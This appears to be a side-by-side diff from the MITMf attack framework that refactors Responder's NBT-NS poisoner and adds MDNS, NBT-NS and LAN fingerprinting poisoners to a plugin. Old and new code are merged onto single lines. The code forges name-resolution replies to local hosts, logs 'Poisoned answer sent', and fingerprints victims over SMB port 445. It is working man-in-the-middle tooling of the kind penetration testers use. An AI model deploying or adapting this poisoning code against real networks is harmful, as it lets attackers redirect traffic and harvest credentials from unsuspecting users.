if Validate_NBT_NS(data,Wredirect): if Validate_NBT_NS(data,args.wredir):
if RespondToSpecificName(RespondToName) == False: if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans() buff = NBT_Ans()
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
socket.sendto(str(buff), self.client_address) socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
#responder_logger.info(Message) if args.finger:
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0]) mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
#print '[+] ClientVersion is :%s'%(Finger[1])
responder_logger.info('[+] OsVersion is:%s'%(Finger[0]))
responder_logger.info('[+] ClientVersion is :%s'%(Finger[1]))
except Exception: except Exception:
responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans() buff = NBT_Ans()
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
socket.sendto(str(buff), self.client_address) socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
#responder_logger.info(Message) if args.finger:
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0]) mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
#print '[+] ClientVersion is :%s'%(Finger[1])
responder_logger.info('[+] OsVersion is:%s'%(Finger[0]))
responder_logger.info('[+] ClientVersion is :%s'%(Finger[1]))
except Exception: except Exception:
responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
else: else:
pass pass
@ -167,42 +177,32 @@ class NB(BaseRequestHandler):
else: else:
if data[2:4] == "\x01\x10": if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,Wredirect) and AnalyzeMode == False: if Validate_NBT_NS(data,args.wredir) and args.analyze == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = NBT_Ans() buff = NBT_Ans()
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
socket.sendto(str(buff), self.client_address) socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
#responder_logger.info(Message) if args.finger:
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0]) mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
#print '[+] ClientVersion is :%s'%(Finger[1])
responder_logger.info('[+] OsVersion is:%s'%(Finger[0]))
responder_logger.info('[+] ClientVersion is :%s'%(Finger[1]))
except Exception: except Exception:
responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
if RespondToSpecificName(RespondToName) == False: if RespondToSpecificName(RespondToName) == False:
buff = NBT_Ans() buff = NBT_Ans()
buff.calculate(data) buff.calculate(data)
for x in range(1): for x in range(1):
socket.sendto(str(buff), self.client_address) socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
#responder_logger.info(Message) if args.finger:
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try: try:
Finger = RunSmbFinger((self.client_address[0],445)) Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0]) mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
#print '[+] ClientVersion is :%s'%(Finger[1])
responder_logger.info('[+] OsVersion is:%s'%(Finger[0]))
responder_logger.info('[+] ClientVersion is :%s'%(Finger[1]))
except Exception: except Exception:
responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
else: else:
pass pass

View file

@ -24,9 +24,12 @@ import threading
from plugins.plugin import Plugin from plugins.plugin import Plugin
from twisted.internet import reactor from twisted.internet import reactor
from core.responder.wpad.WPADPoisoner import WPADPoisoner
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.utils import SystemConfig from core.utils import SystemConfig
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.wpad.WPADPoisoner import WPADPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
class Responder(Plugin): class Responder(Plugin):
name = "Responder" name = "Responder"
@ -48,6 +51,9 @@ class Responder(Plugin):
sys.exit('[-] Error parsing config for Responder: ' + str(e)) sys.exit('[-] Error parsing config for Responder: ' + str(e))
LLMNRPoisoner().start(options, self.ourip) LLMNRPoisoner().start(options, self.ourip)
MDNSPoisoner().start(options, self.ourip)
NBTNSPoisoner().start(options, self.ourip)
LANFingerprinter().start(options)
if options.wpad: if options.wpad:
WPADPoisoner().start() WPADPoisoner().start()